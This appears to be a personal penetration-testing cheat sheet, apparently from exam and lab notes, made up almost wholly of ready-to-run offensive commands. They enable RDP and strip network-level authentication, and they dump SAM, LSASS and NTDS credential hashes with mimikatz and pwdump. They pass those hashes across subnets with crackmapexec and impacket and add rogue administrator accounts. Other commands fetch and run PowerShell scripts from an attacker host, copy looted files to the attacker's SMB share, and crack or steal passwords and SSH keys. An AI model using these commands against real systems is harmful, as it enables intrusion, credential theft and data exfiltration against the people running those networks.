reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t reg_dword /d 00000000 /f"

  • or

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

  • Powershell

Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value

Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

  • If you get the credssp Network level authentication error when trying to login with rdesktop disable it with this command
  • Enter the machines hostname in place of "BILLY"

(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "BILLY2" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired

  • Check the parameter for a 1 it's on or 0 off

(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "BILLY2" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

SAM/SYSTEM hashes

  • sometimes you can only get your hands on this via an LFI for example. You can then dump the hashes

  • save each file and run pwdump against them and carack the ntlm hash in hashcat

  • /windows/repair/system

  • /windows/repair/SAM

  • ie i saved the SYSTEM an SAM files and dumped the hashes like this

source activate python27

pwdump SYSTEM SAM

DLL injection/loading

https://pentestlab.blog/2017/04/04/dll-injection/ https://mr-zero.tistory.com/454

  • needed for an exam box that got me 25 points. Seee my exam 2019 report. Also it required system reboot to then have aservice start and load my dll to call back

Port Forwarding

SSH Port Forwarding

reverse port forward

  • put local port 21 on the remote target as port 2121(in this case i was trying to put my ftp port on the vicitim to bypass a firewall for file transfers)

ssh -N -R :21:127.0.0.1:2121 jess@10.22.1.43 -p 22000

  • put port 631 on kali as port 6631

ssh sshuser@10.22.1.47 -p 22 -C -R 127.0.0.1:6631:127.0.0.1:631

Plink.exe(local port forward)

  • use the plink.exe binary by uploading it to target then if you find ports that are not available tothe internet via "netstat -ano" you can do a local port forward to your box with plink using ssh protocol
  • you will need to authenticate with your local ssh account aka my root user so change password with "passwd root" and change back when done
  • https://www.cybrary.it/0p3n/pivot-network-port-forwardingredirection-hands-look/
  • use ssh user as stated in below example

plink.exe -l root -pw mysecretpassword 10.22.1.43 -R 8080:127.0.0.1:8080

Local Port Forwarding

plink.exe 10.22.1.43 -P 22 -C -L 192.168.1.30:3390:192.168.1.30:3389

Remote Port Forwarding

  • the port will be available locally on the kali box. ie; we want port 80 on the target available

plink.exe 10.22.1.43 -P 22 -C -R 127.0.0.1:4444:10.10.10.5:80

Port forward 445 from victim to local port 9445

  • use this method if you need to accpet the rsa key

echo "y" | .\plink.exe -ssh -l sshuser -pw pass123 10.22.1.43 -R 9445:127.0.0.1:445

Empire

  • ~/extra-tools/powershell/Empire/data/module_source/privesc
  • you can use the ps1 files as individual attacks using powershell ie; Invoke-MS16032.ps1 can be used against a box vulnerable to the exploit

Priv-esc scripts

windows_recon.bat / windows_recon_2000.bat / windows_recon_2003.bat

  • use "%%i" if using this switch and not a single % during normal cmd execution
  • ~/priv-esc/windows_recon.bat
  • upload to victim for my first level analysis of the basic commands to look for and analyze back on kali
  • if accesschk stalls use the accesschk5-2.exe instead it could be due to a webdavi error you can only see in rdp
  • creates "report.txt" ,"servicenames.txt" and more in c:\temp

copy \10.22.1.43\ROPNOP\windows_recon.bat

  • Start backgrounded to coninue operations

START /MIN /LOW cmd /c windows_recon.bat

Pass_recon.bat

  • contains basic password finding searches in .bat file
  • saves dirlisting.txt and pass.txt to C:\temp

.\pass_recon.bat

  • exfiltrate to my machine

copy *.txt \10.22.1.43\ROPNOP\exfiltrated\

  • Errors of access denied
  • grant using the system account access to the temp folder. May have been created by my SYSTEM rooted account and causes this errror then re-run thescript

icacls .* /GRANT "HELPDESK\WALTER":(OI)(CI)F /T /C

Windows-Exploit-Suggester

  • https://github.com/GDSSecurity/Windows-Exploit-Suggester sits in /root/priv-esc/windows/Windows-Exploit-Suggester-master/windows-exploit-suggester.py
  • Use this by sending systeminfo command to text file then downloading it and using it with this script on Kali
  • after running and finding exploits look for them here: https://github.com/SecWiki/windows-kernel-exploits and run them on the system ie; MS10-059 is discovered exploit copy the files over to your cwd and onto the target
    • keep in mind this repo isn't straight forward ie; MS10-059.exe is actually an exploit called chimichurri.exe that takes the params of <attackerIP> <port> for a reverse shell

cd /root/priv-esc/windows/Windows-Exploit-Suggester-master/

./windows-exploit-suggester.py --database 2018-09-08-mssb.xls --systeminfo ./systeminfo.txt

windows-privesc-check2.exe

Use this in my priv-esc/windows folder uploaded to the target and run to get more info

windows-privesc-check2.exe --audit -a -o wpc-report

Sherlock.PS1

  • modify the script to use a function ie; enter "Find-AllVulns" at end of script to use this function
  • upload to the machine and run it
  • ~/extra-tools/powershell/Sherlock

See available functions

grep -i function Sherlock.ps1

Executing from victim

PS C:\Users\kostas\Desktop> .\Sherlock.ps1

Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015            
CVEID      : 2010-0232                                 
Link       : https://www.exploit-db.com/exploits/11199/

Execute Remotely from victim

  • host the file on your server, then write output back to your server via smb server

powershell "IEX(New-Object Net.Webclient).DownloadString('http://10.22.1.43/Sherlock.ps1')" | Out-File -Encoding UTF8 \\10.22.1.43\ROPNOP\sherlockCheck.txt

Watson C#

https://github.com/rasta-mouse/Watson

https://0xdf.gitlab.io/2018/10/27/htb-bounty.html

  • get dot net version of victim
  • cd into latest version

c:\Windows\Microsoft.NET\Framework64\v4.0.30319

Get-Item .\clr.dll

  • also could use:

MSBuild -version

  • if above doesn't work:

\$file = Get-Item .\clr.dll

[System.Diagnostic.FileVersionInfo]::GetVersionInfo(\$file).FileVersion

  • download watson zip and execute it in in VS with proper version of .NET

  • currently setup in lb-vdt-01 VM

  • open VisualStudio > choose to open a "project/solution" file > browse to unzipped watson-master folder > open the .sln file

  • to build the C# program simply run Build > Build Solution

  • to change the .Net version used click open "Project" > "Watson Properties"

  • to change arch > Project > "Watson properties" > Build window shouws "general:Platform Target" change to x64

  • Upload and execute

copy \10.22.1.43\ROPNOP\Watson.exe

.\Watson.exe

  • If GPO stops you try reflective PE method
  • see Invoke-ReflectivePEInjection.ps1

PoweUp.ps1

  • run using "powershell.exe" even if your in a PS shell becasue it could fail for other reasons
  • Modifg the script with "Invoke-AllChecks" at the end call it remotely. Can take a while

powershell.exe "IEX(New-Object Net.Webclient).DownloadString('http://10.22.1.43/PowerUp.ps1')"

  • alternatively after setting execution bypass you can import and invoke the needed modules from an unmodified script

import-module .\PowerUp.ps1

Invoke-AllChecks

SessionGopher

powershell "IEX(New-Object Net.Webclient).DownloadString('http://10.22.1.43/SessionGopher/SessionGopher.ps1')"

PowerView.ps1

  • use this to view groupmembership details,take ownership on accounts,add to groups and more
  • normally used in conjunction with BloodHOund

Invoke-ReflectivePEInjection.ps1

powershell "IEX(New-Object Net.Webclient).downloadString('http://10.22.1.43/Invoke-ReflectivePEInjection.ps1')"

\$PEBytes = [IO.File]::ReadAllBytes('c:\watson.exe')

Invoke-ReflectivePEInjection -PEBytes $PEBytes

Pass The Hash

  • capture hashes from mimikatz on win machines to try and authenticate against the domain
  • will need to make sure the user is admin on the box
  • will need to make sure winexesvc service is running on the target
  • can also be dcom or scheduler service. use the respective tool

sc queryex type= service state= all | find /i "winexe"

pth-winexe

  • need to supply the LM:NTLM in that format(see alice cherry notes)
  • user needs to be an admin on the box

pth-winexe -U MACHINE1/walter%921988ba001dc8e1c25465203292a5c2:7548290103c29131748022e1b7922f79 //10.22.1.43 cmd.exe

  • can alternatively export the hash. and authenticate with a wrong password and it will fall back to ntlm hash

export SMBHASH=921988ba001dc8e1c25465203292a5c2:7548290103c29131748022e1b7922f79

pth-winexe -U MACHINE1/walter //10.22.1.43 cmd.exe

wmiexec.py

  • Captured NTLM hash

python2 /usr/share/doc/python-impacket/examples/wmiexec.py -hashes :a8c8b7a37513b7eb9308952b814b522b administrator@10.22.1.43

dcomexec.py

  • use in case the winexesvc isn't available and maybe a dcom service is available

dcomexec.py -no-pass -hashes 11cb3f697332ae4cc25465203292a5c2:6dd6d1640513166abd725ea01dc8fad7 RALPH/walter@10.22.1.43 dir

  • can use with only the ntlm hash too

dcomexec.py -no-pass -hashes :83757059f87b33e2d8f8bb39cf1acb39 BRUCE/Administrator@10.22.1.43 dir

atexec.py

  • for use against win vista or greater for the task scehduler service

atexec.py -no-pass -hashes 11cb3f697332ae4cc25465203292a5c2:6dd6d1640513166abd725ea01dc8fad7 RALPH/walter@10.22.1.43 dir

xrdpfree

  • pass the has for RDP
  • only works on win2k12 and win 8.1

https://www.kali.org/penetration-testing/passing-hash-remote-desktop/

crackmapexec

  • use this to spray discvered hashses across the network

  • ie per domain you can do this even local machine domain just leave out the -d param

  • this also checks all service types ie; winexesvc/scheduler/dcom etc it seems

  • "-d" domain

  • "-u" user/userlist

  • "-p" password/passwordList

  • "-H" LM/NTLM/hash list

  • to activate bleeding edge version(need to export pipenv to my path when i have time...)

cd ~/extra-tools/CrackMapExec

/root/.local/bin/pipenv shell

deactivate

pass the LM:NTLM hash against a subnet

crackmapexec 10.11.51.0/24 -d MACHINE1 -u walter -H 921988ba001dc8e1c25465203292a5c2:7548290103c29131748022e1b7922g66

pass only the ntlm hash

crackmapexec 10.22.1.43-d MACHINE2 -u Administrator -H :83757059f87b33e2d8f8bb39cf1ac44

try discovered creds across the environment

crackmapexec 10.44.1.0/24 -d MACHINE1 -u walter -p P@ssW0RD1234

pass ntlm hash and list available shares

crackmapexec 10.44.1.0/24 -d RALPH -u walter -H 3gd6d1640513166abd725ea01dc8frr6 --shares

list sam hashes and authentciating with password

crackmapexec 10.22.1.43 -u backup -p backup --sam

Spray against list of hosts and hashes for administrator

cme smb /root/oscp/lab-net2019/smb-open.txt -u Administrator -H hash.txt

Single user/list of hashes

crackmapexec 10.22.1.43 -u Administrator -H ../../ntlm_hashes.txt

Single User/List of passwords

crackmapexec 10.22.1.43 -u Administrator -p ../../passwords.txt

Spray user list/pass list

  • need to use the cme updated bleeding edge version for some reason craps out early on the normal one

cme <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords

Add admin user with PTH

crackmapexec 10.22.1.43 -u Administrator -H 33674ce3a20ca3a099ae3e921d824744-x "C:\Windows\system32\cmd.exe /c net user walter P@ssWORD1234 /add"

crackmapexec 10.22.1.43 -u Administrator -H 33674ce3a20ca3a099ae3e921d824744 -x "C:\Windows\system32\cmd.exe /c net localgroup Administrators walter /add"

Packet Captures

  • Search for traffic gong to other IP addresses or anything interesting like http requests or mail or server client usage to another network we can pivot to

  • ESSID/BSSIDs identify ssids and other wireless captures that you can run aircrack-ng on

tcpdump

ref: https://www.rationallyparanoid.com/articles/tcpdump.html 
use awk,cut,sort to get details and use switches to specify ports,hosts,network details to capture
  • "or" use this param to input more than two of any of the other params ie; "host 10.44.1.244 or host 10.41.1.55"
  • "host <ip>" - specify an ip to filter for
  • "net <network>" - filter for a subnet
  • -s <#>" - enter a snaplen number 0 for unlimited to capture full binary data

if not in path see if it exists on the system at all

find / -name tcpdump

Kill tcpdump process

kill -9

Capturing

Capture packets to file and stop after 0.5 MB is reached

tcpdump -C .5 -s 0 -vv -w cap0-5.pcap

Capture rotation at 10MB make a new file basically and keep capturing for 5 intervals

tcpdump -W 5 -C 10 -w capfile.pcap

Capture only packets from port 110 with a max size of 1MB?

tcpdump -C 1 -vv port 110 -w pop3.pcap

Capture with increased snaplen option of 96 in cases packets are truncated on eth0 adapter

tcpdump -ieth0 -s96 -C 1 -vv port 110 -w pop3-1.pcap

Capture live without the Flag data(q) or name res(n)

tcpdump -ieth0 -s96 -nq port 110

Filtering(live/pcap)

Capture any packets on tun0 interface from a given ip

tcpdump -itun0 -n host 10.10.10.92 -v

Get packets on tun0 interface based on Source IP/Dest IP/Port respectively

tcpdump -itun0 -n src host 172.16.43.10

tcpdump -itun0 -n dst host 172.16.42.10 -r password_cracking_filtered.pcap

tcpdump -n port 81 -r password_cracking_filtered.pcap

Capture only icmp

tcpdump -itap0 icmp

Capture both IP and Port specified

tcpdump -ieth0 -n "src host 192.168.1.148 and port 80"

Get only unique source IPs from capture file, don't resolve addresses,sort, then scroll with more

tcpdump -r capture.pcap -nn | awk '{ ip = gensub(/([0-9]+.[0-9]+.[0-9]+.[0-9]+).*/,"\1","g",$3); if(!d[ip]) { print ip; d[ip]=1; fflush(stdout) } }' | sort -u | more

Get unique source IPs/Ports using TCP

tcpdump -r capture.pcap -nn tcp | awk '{print $3}' | sort | uniq -c | sort -nr | more

Get all unique dest ips/ports that a src IP contacted in desc order of hits

tcpdump -r capture.pcap src host 10.11.2.23 -nn | awk '{print $5}' | sort | uniq -c | sort -nr | more

All unique ips in a pcap

  • sort is used to also put them in order

tcpdump -r cap0-5.pcap -nn -q ip | awk '{ ip = gensub(/([0-9]+.[0-9]+.[0-9]+.[0-9]+).*/,"\1","g",$3); if(!d[ip]) { print ip; d[ip]=1; fflush(stdout) } }' | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4

Viewing Data

Display all data includes ethernet headers(-e) Time stamps, flags,Hex/ASCII. With no name resolution

tcpdump -e -vv -nX port 110 -r pop3.pcap

Dump Hex/ASCII(X) data for por 110 and don't resolve names(n)

tcpdump -nX port 110 -r ncat-slmail-win.pcap

Dump Data in ASCII format for port 110, display only the User/pass combo used in clear text for POP3

tcpdump -A port 110 -r ncat-slmail-win.pcap | grep -E 'PASS|USER'

Dump data in ASCII but remove the time stamps line by excluding any lines with the "Flags" string

tcpdump -A port 110 -r ncat-slmail-win.pcap | grep -v Flags | more

aircrack-ng

Display SSIDs in cap file

aircrack-ng captured.cap

Crack WPA against wordlist

aircrack-ng -a 2 -b F4:EC:38:AB:A8:A9 -w /root/AttackScripts/rockyou.txt captured.cap

Password Cracking

Hash Cracking various hash types without hashcat

Hash cracking site: https://crackstation.net/

MD5 ONLY

  • worked for an md5 hash on a wordpress sql dp tables

https://md5.gromweb.com

Hashcat

  • use my main desktop machine as the cracking machine(oak-ws01) 10.10.40.2 and on C:\Users\steven.bracamonte\Desktop\hashcat-5.1.0
  • download hashcat binary from https://hashcat.net/hashcat/ and 7zip unzip it. simply cd into it and run the PE below(hashcat64.exe)
  • it will find my one gpu card and use that wit the supplied params. use winscp to send files over for the cracking
  • find hash switch types to use here https://hashcat.net/wiki/doku.php?id=example_hashes
  • -m is for hash type to attack
  • --show will display discovered hashes
  • "--show --outfile-format 2" displays only username:password and omits the hash for easy display and format for combo-creds list

MD5 hashes

  • enter the hashes in a simple list

.\hashcat64.exe -m 0 --show .\md5-hmailserver.txt .\rockyou.txt

NTLM Hashes

  • put ntlm hashes recoverd from jollykatz dumps into one txt file in form "username:hash" and run hashcat with the --username option

.\hashcat64.exe -m 1000 --username --show .\ntlm-hashes.txt .\rockyou.txt

  • LM/Ntlm hashes from pwdump ie; "admin:1007:A46139FEAAF2B9F117306D272A9441BB:C5E0002FDE3F5EB2CF5730FFEE58EBCC:::" also work

.\hashcat64.exe -m 1000 --username --status .\ntlm-hashes-jd.txt .\rockyou.txt

MSSQL 2000 hashes

  • dumped from nmap script or otherwise
  • hash format: user1:0x010075269655FB8564B8DD8B71309952A44ABC5CFD96924EA67AFB8564B8DD8B71309952A44ABC5CFD96924EA65r
  • don't use WORDWRAP! and align perfectly in notepad one user:hash per line

.\hashcat64.exe -m 131 --username .\user-mssql-hashes.txt .\rockyou.txt

.\hashcat64.exe -m 131 --username --show .\user-mssql-hashes.txt .\rockyou.txt

krb5 hashes

.\hashcat64.exe -m 13100 C:\Users\steven.bracamonte\Desktop\hash.txt C:\Users \steven.bracamonte\Desktop\rockyou.txt --force --potfile-disable

keepass hashes

  • has keepass db file with john and save to file

keepass2john CEH.kdbx > keepass.txt

  • use hashcat to crack the file with the hash

.\hashcat64.exe -m 13400 ..\keepass.txt ..\rockyou.txt

  • once captured you can launch keepass2 to read the db

Wordpress hashes

  • make sure the txt file with the hash saves as an ANSII file if you see BOM erorr
  • this will crack them in either salted or not salted formats ie; \$P\$B9wJdX0NkO95U2L.kqAGXsFufwSp5N1

.\hashcat64.exe -m 400 --show .\wphash.txt .\rockyou.txt

Sha 512 Shadow hashes \$6\$ * $6$n2qucJiy$IJB7xjSOIp4a1BEzXfArpbWucFwIpnRyIQZCEMCI07B5.Ts5304yIRKE3CEdhfNCwuBl0CHv/qWDF1YrCmEjT1

.\hashcat64.exe -m 1800 --status .\shadow-sha512-hashes.txt .\rockyou.txt

MD5 Shadow Hashes \$1$ * $1$UzPvwaR7$AAo12TQaGMXmU5EirJazF.

* $1$2xFdVkZ.$qezz2fIJmpMkAX8QaNt/h/
  • hashes only in txt file

.\hashcat64.exe -m 500 --status .\md5-Shadow-hashes.txt .\rockyou.txt

  • Passing the unshadowed.txt file generated with John to match to usernames

unshadow passwd shadow > unshadowed.txt

.\hashcat64.exe -m 500 --username --show .\md5shadow.txt .\rockyou.txt

  • Outputting text for combo-creds list

.\hashcat64.exe -m 500 --username --show --outfile-format 2 .\md5shadow.txt .\rockyou.txt

John

Cracking any hash

  • John can identify most hashes on it's own just put the hash(s) in a txt file and feed it in

john --rules --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt <ENTER HASH FILE HERE>

passwd/shadow hashes

  • first get the passwd and shadow file downloaded from target and create an unshadowed file from them

    unshadow passwd shadow > unshadowed.txt

  • second run a dictionary list from the leaked databases and match from something

    john --rules --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt unshadowed.txt

  • display matched passwords stored in Johns DB by running this against the unshadowed.txt file

    john --show unshadowed.txt

  • Using the john.py script to run an unshadowed file against all the rockyou password lists

    source activate pentest python3 john.py '/usr/share/seclists/Passwords/Leaked-Databases/' '/root/oscp-hosts/barry/unshadowed.txt'

  • Display only discovered passwords

john --show unshadowed.txt | cut -d ":" -f 2

SSH-RSA/DSA encrypted keys

  • crack RSA ssh keys with john
  • first put encrypted rsa key in johns cracking format

ssh2john id_rsa > id_rsa.hash

  • crack against a list

john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash

  • enter ssh id_rsa key with passphrase

ssh -i id_rsa takis@10.10.10.10

WinRAR Hashes

  • use when you find a password protected .rar files

rar2john Executives.rar > rar.hash

john -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ./rar.hash

  • type this when it's complete to see what was found

john ./rar.hash --show

Creating a quick wordlist

  • creates a wordlist from an input of terms

john --wordlist=mariobros.lst --rules --stdout

fcrackzip

  • use to brute force password protected zip files

fcrackzip -u -D -p "/usr/share/john/password.lst" ./accounting.zip

PS SecureStrings

$pass = "P@ssword1" | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString * 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000adfbb072b9e43f45bb7ce01f148762130000000002000000000003660000c00000001000 000030dc7d2f23848eaca7c419a3e9c1e5e10000000004800000a0000000100000009dcf9dd0228b119cd4f5984250563034180000008c6a3b0fd112 766f4058dab26e65cf35d9e3f66b60d8f67f14000000340601f7e72f6b4f1a194debac5d6ff5f53e774d

  • decrypt the password works on any scripts regardless if user exists or if it's a legit cred

\$passSecure = $pass | ConvertTo-SecureString

$user = sbracamonte

\$cred = New-Object System.Management.Automation.PSCredential(\$user,$passSecure)

$cred.GetNetworkCredential()|fl * UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB

GPP/Cpassword hashes

  • Windows Pentest Box: LB-VDT-09 192.168.1.148

Powershell Script

Powershell from Windows Pentest Box > Login with my domain creds

root@kali:~# ./LB-VDT-09.sh

From here open powershell ISE or powershell and just run the files on my desktop ie:

PS C:\Users\steven.bracamonte\Desktop> .\get-cpass.ps1 .\Groups.xml

UserName                      NewName                       Password                    
--------                      -------                       --------                    
contoso.com\SVC_TGS                                          passWORd!  

Powershell From Linux installation

root@kali:~/HTB/hosts/Active# pwsh get-cpass.ps1 Groups.xml

UserName           NewName Password
--------           ------- --------
Contoso.com\SVC_TGS         passWORD!

gppdecrypt

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated

passWORD!

Read .pol file

https://github.com/PowerShell/GPRegistryPolicy

  • use win desktop pen testing machine and the command:

Parse-PolFile -Path "C:\temp\Registry.pol"

Word Mangling/password list

set mangling options in /etc/john/john.conf

Using default wordlist mangle params on a given list of words

john --wordlist=wordlist-mischief.txt --rules --stdout > mutated2.txt

Post Root

https://blog.ropnop.com/transferring-files-from-kali-to-windows/

Dump LM/NTLM Hashes from Windows

fgdump.exe *

  • upload to box and run get output and use crackstation to crack the hashes
  • Needs to run with user creds supplied

PwDump.exe

  • use this on win 2000 boxes. seems to work on the legacy stuff.
  • dumps SAM hashes for cracking

.\PwDump.exe LocalHost

.\pwdump.exe -u walter -p P@ssWORD1234 localhost

MimiKatz

C:> mimikatz32.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit"

  • Steal users credentials until they reset their passwords:

C:> mimikatz32.exe "privilege::debug" "sekurlsa::ekeys" "exit"

  • Dump LM and NTLM hashes from SAM:

C:> mimikatz32.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

  • read SAM file from /repair or ntbackup files:

C:> reg save HKLM\SYSTEM SystemBkup.hiv

C:> reg save HKLM\SAM SamBkup.hiv

(Or use Volume Shadow Copy / BootCD to backup these files or get them from the repair folder

C:\Windows\System32\config\SYSTEM

C:\Windows\System32\config\SAM

C:> mimikatz32.exe "lsadump::sam SystemBkup.hiv SamBkup.hiv" "exit"

NTDS.dit

  • on a domain controller you can dump this using domain admin creds and get all user hashes

mimikatz.exe "lsadump::dcsync /domain:thinc.local /all /csv" "exit" >> mimi.txt

Unix Passwd/Shadow cracking

Tool like mimikatz for Linux
https://github.com/huntergregal/mimipenguin
Creating a Sudo user
https://www.shellhacks.com/how-to-grant-root-access-user-root-privileges-linux/
useradd >>>> if this is not a found command try and use "locate" to find it's binary path and run it that way
Decrypt linux shadow hashed files

unshadow passwd shadow > unshadowed.txt

john --rules --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-20.txt unshadowed.txt

Use my /root/john.py in the passwords notebook to run multiple lists in a directory against the unshadowed.txt file

After cracking against several lists Display the discovered passwords with this as john keeps a database of the cracked passwords
john --show unshadowed.txt

Hashcat cracking method on Windows10 a pentest box

  • take the hashes from the shadow file and just copy them into txt file to pass to hashcat
  • use --show option instead of status to see what was cracked ie; *
    • root:\$6\$n2qucJiy\$IJB7xjSOIp4a1BEzXfArpbWucFwIpnRyIQZCEMCI07B5.Ts5304yIRKE3CEdhfNCwuBl0CHv/qWDF1YrCmEjT1:16902:0:99999:7::: $6$n2qucJiy$IJB7xjSOIp4a1BEzXfArpbWucFwIpnRyIQZCEMCI07B5.Ts5304yIRKE3CEdhfNCwuBl0CHv/qWDF1YrCmEjT1 ---------------JUST NEED THIS
  • verify the hash type by looking "/etc/login.defs" on the nix box

Executing hashcat from windows

.\hashcat64.exe -m 1800 --status .\shadow-sha512-hashes.txt .\rockyou.txt

SSH KEYS

  • Look for private keys to ssh into other boxes with

    cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key

Find all ssh keys and copy with this
sudo find /etc -type f ( -iname *.pub -o -iname *id_dsa* -o -iname *id_rsa -o -iname *dsakey -o -iname *rsakey -o -iname *sshhost ) -exec cp {} ./ ;

Search for interesting files

Windows

save the directrory structure to a textfile. and then query that text file for your needed strings
    dir C:\* /a/s/b > dirlisting.txt
    type dirlisting.txt | findstr /I \.*network-secret[.]txt$
    type dirlisting.txt | findstr /I \.*proof[.]txt$

Linux

Search for a file starting in root directory

find / -name secret.txt

find / -name proof.txt

Search for data on discs

  • list your connected drives and their mount points

df -h

  • use xxd and grep for only written data

xxd /dev/sdb | grep -v "0000 0000 0000 0000 0000 0000 0000 0000"

  • perform more direct search for data

strings /dev/sdb

  • grep for only alphanumerical chars in a consecutive 32 length string and also get the first and last 2 lines
  • -a for binary data to be treated as a string

grep -a -B2 -A2 '[a-z0-9]{32}' /dev/sdb

Attempt Forensic file recovery

  • ssh access and piping using dcfldd forensics tool to gzip for compression(gets rid of all the 0s)
  • of is output file specified and will output to my current dir

ssh pi@10.10.10.48 "sudo dcfldd if=/dev/sdb | gzip -1 -" | dcfldd of=pi.dd.gz

  • unzip the compressed output file

gunzip -d pi.dd.gz

  • list file system info

binwalk pi.dd

  • extract files including recovered to new dir

binwalk -Me pi.dd

  • view the new dir

ls _pi.dd.extracted

  • use forensics tool to see if more can be pieced together
    • run the default and use c to copy the deleted file you find then "C" to paste it into desired dir

testdisk pi.dd

  • photorec is almost the same but worth a try, use "C" and choose the dir to save a recupdir to it

photorec pi.dd

Other valuables to search for

Rootloot script for Windows

  • used to run on a machine after getting the admin acocunt. This will pillage for password files/certs/proof.txt A bat script for windows to do most priv-esc stuff you tried to do before and can run before and after /root/priv-esc/windows/rootloot.bat >>>>>>>>>>>>upload to server and download needed mimikatz and accesschk versions specified in the bat script then use following command to loot for important items

rootloot.bat >> ralph_loot.txt

Exfiltrate all generated txt files over using cmd to your SMB server

copy *.txt \10.22.32.19\ROPNOP\

Buffer Overflows

ASCII characters translated into  Hex over the wire for applications to execute  on
Memory Registers
The Stack

hURL

A tool used find out what the hex of the normal ASCII characters we are used to translate into HEX and vice versa
Get HEX character of ASCII Character "A"
root@kali:~/extra-tools# hURL -X "A"

Original    :: A
Hex ENcoded :: 41
Get ASCII of HEX character 41

root@kali:~/extra-tools# hURL -x "41"

Original HEX      :: 41
ASCII/RAW DEcoded :: A

Sparta

sparta is great to auto run the basic nmap scripts and document boxes on the network
keep a sparta file on each network you attack with notes for each box 

Starting sparta(must be in the sparta dir to run it properly using python2)

cd /usr/share/sparta

python2 sparta.py

ExifTool

  • used to get metadata from docx or image files. Can find author/creator and app info

exiftool test.jpg

Pivoting

ProxyChains

  • add new proxies here only 1 active at one time.
  • /etc/proxychains.conf

ProxyChains4

  • this is improved version to use with it's own conf file
  • /etc/proxychains4.conf
  • you an also supply a conf file with this version so just copy original and you can have multiple instances running for different networks

proxychains4 -f proxychains4.conf nmap -sT -Pn -p 22 10.115.1.10

SSH Socks4 Proxy

  • https://paper.tuisec.win/detail/55ac39e3caa3d27
  • The victim needs to have ssh running and you need the user creds to use(openssh 7.6 does dynamic reverse port forwarding)
  • -D switch will create a socks4 proxy on connection you can then tunnel traffic to remote networks with proxychains and burpsuite(see instruction below)

ssh -D <local proxy port> -p <remote port> <username>:<target>

3proxy

  • socks4(tcp only) and socks5(tcp and udp) support

  • need to download proper executable or binary from https://3proxy.org/download/stable/ if running on win machines

  • upload to host

  • setup the config file to run the options from

  • connect with proxychains and run scans etc against the internal network you are proxying to

  • 3proxy-0.8.12-lite executables for win 2003 and xp gen machines in my "~/extra-tools/3proxy" dir

  • create 3proxy.cfg file to use and upload files to victim AND upload the 3proxy executable and dlls

  • nserver for name servers taken from victim config

  • nscache is default

  • internal ip is what i see from kali

  • external ip is what the victim sees that i want to scan

  • allow * is for all socks proxies to be allowed to connect

  • socks -p1081 will open port 1081 for me to use proxy chains to connect to

nano 3proxy.cfg nserver 10.3.1.254 nserver 10.11.3.220 nscache 65536 internal 10.11.3.229 external 10.3.1.229 allow * socks -p1081

  • from win server

3proxy.exe --install 3proxy.cfg

  • this may fail with service not able to start error so instead start without the install flag

3proxy.exe 3proxy.cfg

  • configure proxy chains to use the remote socks server "/etc/proxychains.conf"
  • enter "socks5 10.11.1.226 1081" as the remote win server you setup 3proxy on to listen on port 1081

nano /etc/proxychains.conf

  • using proxy chains to proxy through the socks proxy run any network command as usual to reach disparate networks only available on the victim
  • in this case we are scanning remote network 10.1.1.224 for port 3389 with no pings and connect scans required since these will stop the scan from working
  • if pings don't work normally from the victim to the hosts on the remote/internal network you must disable pings "-Pn"
  • connect scan type is needed with nmap since syn scans can prove unreliable

proxychains nmap -v -sT -Pn -p 3389 10.122.1.242

Nping connect scan

proxychains nping --tcp-connect -c 1 -p 3389 10.122.1.242

BurpSuite with SOCKS proxy

Setup and use Firefox

  • under "User Options" > socks proxy settings
  • simply enter the proxy your running on the remote host(use victims ip in this case ) and port and you can connect with firefox tunnled via burp via the proxy

Multi-Pivots

  • basically what you do is connect to another host using ssh -D command through your already established proxy and the new port created will be on your local host leading to the new subnet
  • you then need to change to the /etc/proxychains.conf file to reflect the new port to proxy through. Your original proxy port will stay established as it is running through ssh

https://netsec.ws/?p=278

nmap and proxychains

Unprivileged parameter should be used

  • this is because we probably don't ahve root privileges on the pivot host, normally needed for raw socket conns.

proxychains4 -q -f /etc/proxychains4.conf nmap -oN http.nmap --script "http* and not http-brute* and not http-slowloris* and not http-rfi-spider* and not http-sql-injection* and not http-form* and not http-iis*" --script-args= --unprivileged -sV -sT -Pn -T3

You can’t perform that action at this time.